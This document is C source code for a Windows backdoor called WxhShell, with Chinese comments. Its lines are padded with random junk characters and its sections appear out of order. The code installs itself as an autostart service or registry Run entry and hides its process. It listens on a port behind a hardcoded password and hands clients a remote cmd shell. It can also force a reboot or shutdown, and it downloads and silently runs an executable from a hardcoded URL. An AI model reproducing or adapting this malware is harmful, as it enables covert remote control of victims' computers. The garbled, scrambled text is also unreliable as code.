  // 关机 }r:H7&|&  
  case 'd': { p`ai2`qC`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rJ)O(  
    if(Boot(SHUTDOWN)) L=W8Q8hf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?k)(~Y&@p  
    else { _JZS;8WYR  
    closesocket(wsh); yD6lzuk{X  
    ExitThread(0); g7G=ga  
    } KTX;x2r  
    break; Ht.0ug  
    } kWs"v6B  
  // 获取shell m{itMZ@  
  case 's': { |` gSkv  
    CmdShell(wsh); aKdi  
    closesocket(wsh); vCE1R]^A.]  
    ExitThread(0); __jFSa`at  
    break; _U<sz{6  
  } X2PQL"`  
  // 退出 \Q[u?/TF  
  case 'x': { /(-X[[V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wIT0A-Por4  
    CloseIt(wsh); V<f76U)  
    break; m:@-]U@ 6  
    } ^|KX)g  
  // 离开 ki`7S  
  case 'q': { ptXCM[Z+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :n36}VG|  
    closesocket(wsh); p7y8/m\6  
    WSACleanup(); Q)oO*CnM!-  
    exit(1); (vHB`@x  
    break; cY1d6P0  
        } 871taL=  
  } "_Wv,CYmNr  
  } afEhC0j  
x5/O.5>f  
  // 提示信息 Y{~[N yE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &sJZSrk|  
} 6{/HNEI*1  
  } (h;4irfX  
f"emH  
  return; 8RC7 Ei  
} fN4d^0&  
Zi$v-b*<  
// shell模块句柄 #kD8U#  
int CmdShell(SOCKET sock) Z/nTI 0N{  
{ fz H$`X'M  
STARTUPINFO si; ^^MVd@,i  
ZeroMemory(&si,sizeof(si)); =m{]Xep  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7;H!F!K]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A1`y_ Aj  
PROCESS_INFORMATION ProcessInfo; 4Eq$f (QJ  
char cmdline[]="cmd"; u*#j;Xc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :]&O  
  return 0; =bt/2 nPV  
} E3X6-J|  
>U/ m/H'  
// 自身启动模式 pJ*x[y  
int StartFromService(void) x^_(gve:  
{  "5\<.  
typedef struct L8"0o 0-  
{ r=8(n<;Co  
  DWORD ExitStatus; vMBF7Jfx  
  DWORD PebBaseAddress; [gK (x%  
  DWORD AffinityMask; F2QX ^*  
  DWORD BasePriority; i}C9  
  ULONG UniqueProcessId; y_bb//IAG  
  ULONG InheritedFromUniqueProcessId; YcJZG|[  
}   PROCESS_BASIC_INFORMATION; >_9w4g_<  
\nQV{J  
PROCNTQSIP NtQueryInformationProcess; Oy>u/g~  
o&tETJ5Bhe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YKF5|;}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *Mu X]JK  
6$#p}nE  
  HANDLE             hProcess; sdkKvo. y0  
  PROCESS_BASIC_INFORMATION pbi; o[C,fh,$  
KjK.Sv{N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q'r(#,B<3  
  if(NULL == hInst ) return 0; cuenDw=eC  
9b KK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q/I':a[1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pwq a/Yi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Jqi J?,4C  
yht|0mZV  
  if (!NtQueryInformationProcess) return 0; #SNwSx&  
*;(wtMg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); //9M~qHa"  
  if(!hProcess) return 0; FjUf|  
`~${fs{-`/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1A>>#M=A  
t[L0kF9en  
  CloseHandle(hProcess); |3tq.JU  
 "u#T0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !U}dYB:O  
if(hProcess==NULL) return 0; s*A#;  
oA_T9uh[  
HMODULE hMod; <B,z)c  
char procName[255]; ZbS* zKEW  
unsigned long cbNeeded; eUa2"=M  
& ,KxE(C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BT?)-wS  
)_$F/ug  
  CloseHandle(hProcess); xx^7  
0FL PZaRP  
if(strstr(procName,"services")) return 1; // 以服务启动 "?_r?~sJx  
K x7'm1  
  return 0; // 注册表启动 aTJs.y -I~  
} ~Q  q0  
G5JZpB#o  
// 主模块 Tyc`U&  
int StartWxhshell(LPSTR lpCmdLine) R?,Oh*  
{ e!+_U C  
  SOCKET wsl; "qb1jv#to  
BOOL val=TRUE; 9d4Agj M  
  int port=0; 5W UM"eBwL  
  struct sockaddr_in door; }Xn5M&>?  
<F~0D0G  
  if(wscfg.ws_autoins) Install(); C7|z DJ_  
%hEhZW{:  
port=atoi(lpCmdLine); uif1)y`Q$C  
;>#YOxPl  
if(port<=0) port=wscfg.ws_port; KJ/ *BBf  
U_1syaY!  
  WSADATA data; c:%ll&Xtn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *U[Nn5#?  
=3~u.iq$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q6xm#Fd'.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +W{ELdup%q  
  door.sin_family = AF_INET; hB]\vA7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?8{x/y:  
  door.sin_port = htons(port); :$=r^LSH  
h5vvizruy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ynWF Y<VX  
closesocket(wsl); v5aHe_?lp  
return 1; @zz4,,]  
} Sqt '}  
UK{6Rh ;  
  if(listen(wsl,2) == INVALID_SOCKET) { epWTZV(1x  
closesocket(wsl); Rds_Cd C  
return 1; !!jitFHzb  
} ^e<"`e  
  Wxhshell(wsl); IWRo$Yu  
  WSACleanup(); "r:i  
3hN.`G-E  
return 0; f{m,?[1C,  
v>e%5[F  
} HAkEJgV  
3bCb_Y  
// 以NT服务方式启动 7q%<JZPY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &}YJ"o[I  
{ $]{20"  
DWORD   status = 0; dtXA EL\q  
  DWORD   specificError = 0xfffffff; S 54N  
^rHG#^hA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r)9&'m.:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s>pOfXIx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fV 6$YCf  
  serviceStatus.dwWin32ExitCode     = 0; eU[f6OGqC  
  serviceStatus.dwServiceSpecificExitCode = 0; W .B>"u  
  serviceStatus.dwCheckPoint       = 0; 3 &aBU [  
  serviceStatus.dwWaitHint       = 0; Sqc r -  
v#HaZT]u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s,tZi6Z=%E  
  if (hServiceStatusHandle==0) return; CY"iP,nHl  
u$3wdZ2&m  
status = GetLastError(); F5*NK!U  
  if (status!=NO_ERROR) FuA8vTV{  
{ C( ay7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M[;N6EJH  
    serviceStatus.dwCheckPoint       = 0; -zzM!1@F  
    serviceStatus.dwWaitHint       = 0; m|7lDfpb  
    serviceStatus.dwWin32ExitCode     = status; ,b&-o?.{  
    serviceStatus.dwServiceSpecificExitCode = specificError; )_MIUQ%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %lr<;   
    return; 0v~Eu>Rg  
  } /SXms'C  
JTK0#+?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9PU9BYBG  
  serviceStatus.dwCheckPoint       = 0; r35'U#VMk?  
  serviceStatus.dwWaitHint       = 0; l> Mth+ ,b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qWQ7:*DL  
} 6I)1[tU  
qrWeV8ur+  
// 处理NT服务事件,比如:启动、停止 >N&C-6W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2u(v hJ F5  
{ &#AK#`&)0i  
switch(fdwControl) K2W$I H:.  
{ %LL*V|  
case SERVICE_CONTROL_STOP: ,>DaS(  
  serviceStatus.dwWin32ExitCode = 0; A7/ R5p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :3FJe  
  serviceStatus.dwCheckPoint   = 0; [i8,rOa7  
  serviceStatus.dwWaitHint     = 0; C*S%aR  
  { 5i 6*$#OM_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <])w@QOA#  
  } _li\b-  
  return; ;[)t*yAh  
case SERVICE_CONTROL_PAUSE: ;+) M~2 =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bn[5M [  
  break; # j=r  
case SERVICE_CONTROL_CONTINUE: 6Y#V;/gK!5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =<_ei|ME  
  break; p|W <xFk  
case SERVICE_CONTROL_INTERROGATE: [jOvy>2K]  
  break; 8?n6\cF  
}; }]qx "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Ji>  
} n*4N%yI^m5  
-rEg(@S %  
// 标准应用程序主函数 Jb~nu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jh3LD6|s}  
{ rC(-dJkV  
a"!D @a  
// 获取操作系统版本 G8JwY\  
OsIsNt=GetOsVer(); .kBZ(`K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Z +O9T%  
g@&@ ]63  
  // 从命令行安装 $ }u,uI  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Ea)`'/  
Iw ? M>'l  
  // 下载执行文件 YWf w%p?n"  
if(wscfg.ws_downexe) { u6~|].j R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nUZ+N)*  
  WinExec(wscfg.ws_filenam,SW_HIDE); V9v80e {n4  
} zUw9  
y.zS?vv2g  
if(!OsIsNt) { [WOLUb  
// 如果时win9x,隐藏进程并且设置为注册表启动 Unl6?_  
HideProc(); jLULf+ 8&  
StartWxhshell(lpCmdLine); w3^>{2iqq  
} \#bk$R@  
else Wr\rruH6  
  if(StartFromService()) hM!D6: t  
  // 以服务方式启动 [l+1zt0w0  
  StartServiceCtrlDispatcher(DispatchTable); lP@/x+6tg  
else G/F0 )M  
  // 普通方式启动 pGZ I697  
  StartWxhshell(lpCmdLine); !l7eB@O  
VQ{.Ls2`Z  
return 0; *k$":A  
} ToUeXU [  
bK)gB!  
'RIlyH~Yf  
QR!8n  
=========================================== t3TnqA  
A7~~{9  
cLN(yL  
>Q0HqOq  
J%?'Q{  
V 0<>Xo%  
" ~E2xIhV  
EwSE;R -  
#include <stdio.h> fP41 B  
#include <string.h> jk0Ja@8PK  
#include <windows.h> mWUo:(U  
#include <winsock2.h> P^-tGo!  
#include <winsvc.h> b|i94y(  
#include <urlmon.h> &n% 3rC5{  
\R >!HY  
#pragma comment (lib, "Ws2_32.lib") iJg3`1@j  
#pragma comment (lib, "urlmon.lib") 8oI)q4V  
,+0>p  
#define MAX_USER   100 // 最大客户端连接数 Z8 \c'xN  
#define BUF_SOCK   200 // sock buffer sR`WV6!9  
#define KEY_BUFF   255 // 输入 buffer Xa._  
+zpmy3Q  
#define REBOOT     0   // 重启 V$Y5EX  
#define SHUTDOWN   1   // 关机 hJ0)"OA5  
j HT2|VGb*  
#define DEF_PORT   5000 // 监听端口 66"-Xf~u  
}.<%46_Z-  
#define REG_LEN     16   // 注册表键长度 p]*BeiT#n%  
#define SVC_LEN     80   // NT服务名长度 utq*<,^  
Ly?yW S-x  
// 从dll定义API f`X#1w9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?`Oh]2n)6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P=K+!3ZXo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); djVE x }  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,Yg<Z1  
g)+45w*+5  
// wxhshell配置信息 2nOoG/6 E  
struct WSCFG { PjEKZHHz  
  int ws_port;         // 监听端口 ZbJUOa?WF  
  char ws_passstr[REG_LEN]; // 口令 y%CaaK=V3  
  int ws_autoins;       // 安装标记, 1=yes 0=no iP1u u  
  char ws_regname[REG_LEN]; // 注册表键名 `;L0ax  
  char ws_svcname[REG_LEN]; // 服务名 Y?Yix   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :U`8s#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @b=b>V[d6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,4 ftQJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ET4 C/nb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v>TI.;{y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D/_=rAl1  
p1p4t40<l  
}; @>'.F<:P<  
zV {[0s  
// default Wxhshell configuration RaFk/mSw  
struct WSCFG wscfg={DEF_PORT, 372ewh3'  
    "xuhuanlingzhe", JcxhI]E  
    1, { #CyO b4  
    "Wxhshell", S2)rkX$  
    "Wxhshell", C !81Km5  
            "WxhShell Service", B[^mWVp6L  
    "Wrsky Windows CmdShell Service", r=dFk?8XbC  
    "Please Input Your Password: ", Zg%SE'kK  
  1, V)\|I8"  
  "http://www.wrsky.com/wxhshell.exe", H".~@,-}  
  "Wxhshell.exe" =)C}u6  
    }; Qz;2RELz  
8Pklw^k   
// 消息定义模块 d [z+/L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %&9tn0B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xKz^J SF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F7^d@hSV  
char *msg_ws_ext="\n\rExit."; vyT$IdV2  
char *msg_ws_end="\n\rQuit."; Y;>0)eP  
char *msg_ws_boot="\n\rReboot..."; A(#hyb#  
char *msg_ws_poff="\n\rShutdown..."; 6Gjr8  
char *msg_ws_down="\n\rSave to "; aX6.XHWbDf  
S~`& K  
char *msg_ws_err="\n\rErr!"; C( C4R+U  
char *msg_ws_ok="\n\rOK!"; 6sl*Ko[  
Nzz" w_#  
char ExeFile[MAX_PATH]; |{HtY  
int nUser = 0; d; \x 'h2  
HANDLE handles[MAX_USER]; elXY*nt8h  
int OsIsNt; rWF~a ec  
uYiM~^ 0  
SERVICE_STATUS       serviceStatus; E,5jY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =x}27f%-Mg  
waXA%u50  
// 函数声明 ciI;U/V  
int Install(void); 2#5SI  
int Uninstall(void); -8Z%5W`  
int DownloadFile(char *sURL, SOCKET wsh); +2`RvQN  
int Boot(int flag); 9}t2OJS*h"  
void HideProc(void); yef@V2Z+  
int GetOsVer(void); eu ~WFI  
int Wxhshell(SOCKET wsl); +Ck<tx3h&  
void TalkWithClient(void *cs); y!fV+S,  
int CmdShell(SOCKET sock); X:+;d8rCy  
int StartFromService(void); u*Eb4  
int StartWxhshell(LPSTR lpCmdLine); axnkuP(  
IX;u+B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q$G!-y+"i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~:Dr]kt  
+LV~%?W  
// 数据结构和表定义 om$)8'A,l  
SERVICE_TABLE_ENTRY DispatchTable[] = ?AX./LI  
{ L~SM#?z:ue  
{wscfg.ws_svcname, NTServiceMain}, Q&^ti)vB  
{NULL, NULL} fb4/LVg'J  
}; OT{wqNI  
Z.<OtsQN  
// 自我安装 FkR9-X<  
int Install(void) U aj8}7v  
{ JadXdK=gE  
  char svExeFile[MAX_PATH]; WMZ&LlB%  
  HKEY key; phwk0J]2  
  strcpy(svExeFile,ExeFile); > y"V%  
<i`Ipj  
// 如果是win9x系统,修改注册表设为自启动 K+TRt"W8&s  
if(!OsIsNt) { 0Pu$1Fp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {LVii}<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *xA&t)z(i  
  RegCloseKey(key); )FGm5-K@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^aN;M\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w0x, ~  
  RegCloseKey(key); U-#wFc2N  
  return 0; xq- R5(k  
    } L|EvI.f  
  } p]:5S_$  
} ~~,\BhG?  
else {  Zm!T4pL  
-("sp  
// 如果是NT以上系统,安装为系统服务 qk{2%,u$@{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rR&;2  
if (schSCManager!=0) eaCv8zdX  
{ s6%%/|  
  SC_HANDLE schService = CreateService c#|!^gjf  
  ( PsMoH/+"  
  schSCManager, q+5g+9  
  wscfg.ws_svcname, @~hiL(IR'  
  wscfg.ws_svcdisp, UUc{1"z{  
  SERVICE_ALL_ACCESS, 2Kovvh y#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W~2`o*\l  
  SERVICE_AUTO_START, Pqli3(  
  SERVICE_ERROR_NORMAL, aFGEHZJQ  
  svExeFile, pZUckQ  
  NULL, Y^Y|\0  
  NULL, |RS9N_eRt  
  NULL, Pky/fF7e  
  NULL, w4P?2-kB  
  NULL SB0Cq  
  ); rg64f'+Eug  
  if (schService!=0) F=!p7msRB  
  { #kjN!S*=  
  CloseServiceHandle(schService); q">lP (t  
  CloseServiceHandle(schSCManager); ]Qm$S5tU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UJMM&  
  strcat(svExeFile,wscfg.ws_svcname); w=H   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T1 >xw4uo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ dEc? R}  
  RegCloseKey(key); }5 ^2g!M  
  return 0; :_V9Jwu  
    } hAX@|G.  
  } ,|6 O}E&  
  CloseServiceHandle(schSCManager); r0t4\d_&  
} nb dm@   
} &0cfTb)dG  
F3+ ;2GG2  
return 1; MIma:N_c  
} 7niZ`doBA  
.UX`@Q:Gp  
// 自我卸载 36"-cGNr{  
int Uninstall(void) l7#5.%A  
{ " E+V >V+  
  HKEY key; 0T,uH  
G#yv$LY#  
if(!OsIsNt) { )+ifVv50  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c"D%c(:4|  
  RegDeleteValue(key,wscfg.ws_regname); X.}i9a 6  
  RegCloseKey(key); X<G"Ga L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8R|!$P  
  RegDeleteValue(key,wscfg.ws_regname); wT\JA4  
  RegCloseKey(key); j=|cx+nb  
  return 0; wr);+.T9R  
  } xs#g  
} 7p1f*N[X  
} +}3l$L'bY  
else { vYl2_\,Y?  
9u[^9tL+D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q$,AQyBlqc  
if (schSCManager!=0) $[f-{B{>*  
{ H!SFSgAu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7)Cn 4{B6  
  if (schService!=0) }jE [vVlRw  
  { _43'W{%  
  if(DeleteService(schService)!=0) { YMSZcI  
  CloseServiceHandle(schService); M'gGoH}B+q  
  CloseServiceHandle(schSCManager); #hMS?F|  
  return 0; /EP RgRX  
  } ?iXN..6x  
  CloseServiceHandle(schService); deLLqdZa  
  } WwDd62g  
  CloseServiceHandle(schSCManager); TXL!5, X_  
} X,xCR]+5S  
} 7l(GBr  
px${ "K<  
return 1; i0}f@pCB?X  
} k\76`!B  
bZ 0{wpeK=  
// 从指定url下载文件 c-VIpA1  
int DownloadFile(char *sURL, SOCKET wsh) sHqa(ynK  
{ 3xIelTf*  
  HRESULT hr; Xb<>AzEM  
char seps[]= "/"; qdnwaJ;&  
char *token; a^o'KN{  
char *file; v<3KxP'a  
char myURL[MAX_PATH]; a%nf )-}|  
char myFILE[MAX_PATH]; MxgJ+  
3 \}>nE  
strcpy(myURL,sURL); Sx8RH),k  
  token=strtok(myURL,seps); jd`h)4  
  while(token!=NULL) %?hvN  
  { s_;o1 K0  
    file=token; S4U}u l  
  token=strtok(NULL,seps); [XE\2Qa8e  
  } xx@[ecW  
j7BLMTF3v  
GetCurrentDirectory(MAX_PATH,myFILE); b4qMTRnv  
strcat(myFILE, "\\"); XL[Dmu&  
strcat(myFILE, file); i E?yvtr8  
  send(wsh,myFILE,strlen(myFILE),0); Jmuyd\?,b  
send(wsh,"...",3,0); g=/!Ry=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }K^v Ujl  
  if(hr==S_OK) GT7&>}FJ)  
return 0; #;[0:jU0  
else jF@BWPtF=  
return 1; uBK0+FLL@  
K491QXG  
} 5Gs>rq" #  
%:s+5*SKe  
// 系统电源模块 ppo0DC\>  
int Boot(int flag) W#+f2 RR  
{ k;B[wEW@  
  HANDLE hToken; ~N%+ZXh&E  
  TOKEN_PRIVILEGES tkp; +[R^ ?~VK  
:R`e<g~4  
  if(OsIsNt) { DcNp-X40I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UZdGV?o ?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :>iN#)S  
    tkp.PrivilegeCount = 1; 80=LT-%#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a>6D3n W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LZb<-vK"y  
if(flag==REBOOT) { HC} vO0X4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h w ^ V  
  return 0; Wco2i m  
} EDz;6Z*4N  
else { @ x .`z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \FUMfo^  
  return 0; soLW'8  
} Y0Tad?iC  
  } s= ]NKJaQH  
  else { gD51N()s,  
if(flag==REBOOT) { D;s%cL`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L2p?] :-  
  return 0; .'&pw }F  
} Yj'9|4%+|  
else { ^.R!sQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QJj='+R>  
  return 0; t=X=",)f  
} B~^*@5#0|  
} /7])]vZ_  
'#yqw%  
return 1; `Th~r&GvF  
} 0TaI"/ai  
OX'V  
// win9x进程隐藏模块 ~&<t++ g  
void HideProc(void) ZG 0^O"B0  
{ vQ* RrHG?c  
z\oTuW*B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]E-3/r$_cO  
  if ( hKernel != NULL ) sQ340!  
  { ;py9,Wno  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {ZrlbDQX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "T_9_6tH  
    FreeLibrary(hKernel); JH{/0x#+  
  } VsJ+-IHm  
{?`7D:]`^  
return; kmc_%Wm}  
} F \ls]luN  
_qR?5;v  
// 获取操作系统版本 +Eh.PWEe  
int GetOsVer(void) (_|*&au J  
{ g=[OH  
  OSVERSIONINFO winfo; _Iminet  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  :`N ZD  
  GetVersionEx(&winfo); >zqaV@T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !p/SX>NJ  
  return 1; )M.s<Y  
  else d_d&su E  
  return 0; L~- /'+  
} jQ;/=9  
A[uE#T ^  
// 客户端句柄模块 _$96y]Bpi  
int Wxhshell(SOCKET wsl) % Y%r2  
{ #?Kw y  
  SOCKET wsh; 3s/1\m%  
  struct sockaddr_in client; pdRM%ug   
  DWORD myID; S?d<P  
E+i*u   
  while(nUser<MAX_USER) 7JGc9K+Av  
{ !{r2`d09n)  
  int nSize=sizeof(client); 4WvW11q8U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?VNtT/  
  if(wsh==INVALID_SOCKET) return 1; D#L(ZlD4  
/Ne#{*z)hO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }lIc{R@H  
if(handles[nUser]==0) sko7,&  
  closesocket(wsh); {ogBoDS  
else 0TmEa59P  
  nUser++; H P.=6bJWi  
  } ?OFa Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gZ4' w`4r  
8In\Jo$|q>  
  return 0; w\acgQ^%e  
} OW@%H;b  
4W" A*A  
// 关闭 socket ksC_F8Q+  
void CloseIt(SOCKET wsh) BQ0?B*yqd  
{ xT"V9t[f  
closesocket(wsh); o6MFMA+vi  
nUser--; bI &<L O  
ExitThread(0); OF7hp5  
} d5l42^Z  
6^gp /{  
// 客户端请求句柄 gS~H1Ro  
void TalkWithClient(void *cs) LG&BWs!  
{ ;stuTj@vH  
+a!3*G@N+  
  SOCKET wsh=(SOCKET)cs; 'IX1WS&\"  
  char pwd[SVC_LEN]; euB1}M  
  char cmd[KEY_BUFF]; P`lv_oV  
char chr[1]; Y/5M)AyJt  
int i,j; %XG m\p  
!G3AD3  
  while (nUser < MAX_USER) { mLuNl^)3  
0#8   
if(wscfg.ws_passstr) { l1 Kv`v\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {nV/_o$$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S[F06.(1  
  //ZeroMemory(pwd,KEY_BUFF); .nD#:86M  
      i=0; 8 ??-H0P  
  while(i<SVC_LEN) { (  zo7h  
n)kbQ]  
  // 设置超时 cX-M9Cz  
  fd_set FdRead; 4f\NtQ)  
  struct timeval TimeOut; bgor W"'  
  FD_ZERO(&FdRead); bp?5GU&Uy  
  FD_SET(wsh,&FdRead); zTg\\z;  
  TimeOut.tv_sec=8; <c}@lj-j  
  TimeOut.tv_usec=0; l ;:IL\*1I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pt <zyH3Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !rUP&DA  
>1s a*Wf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {U=J>#@G  
  pwd=chr[0]; eq6O6-  
  if(chr[0]==0xd || chr[0]==0xa) { ?#K.D vGJ  
  pwd=0; [KK |_  
  break; uE's&H  
  } y&$n[j  
  i++; Cb;6yE)!Z  
    } t*(bF[?  
jaoZ}}V_$  
  // 如果是非法用户,关闭 socket D^6*Cwb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EsGu#lD2  
} .==D?#bn  
aS [[ AL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aoN\n]g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t$!zgUJ  
E`fG9:6l]  
while(1) { ~~/,2^   
_N`.1Dl%Q  
  ZeroMemory(cmd,KEY_BUFF); z&%i"IY  
Pm/<^z%  
      // 自动支持客户端 telnet标准   z0 9Gp}^;  
  j=0; u} mj)Nk  
  while(j<KEY_BUFF) { s/"bH3Ob9v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U<j5s\Y,  
  cmd[j]=chr[0]; z0}j7ns]  
  if(chr[0]==0xa || chr[0]==0xd) { 6eSo.@*l  
  cmd[j]=0; 8oX1 F(R  
  break; -$Fj-pO\  
  } v}$Q   
  j++; tRoSq;VrS  
    } hZ45i?%  
5T;LWS  
  // 下载文件 9<Pg2#*N0  
  if(strstr(cmd,"http://")) { `yfZ{<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MLdwf}[  
  if(DownloadFile(cmd,wsh)) OR@ 67Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XT,t[w  
  else ..`c# O&  
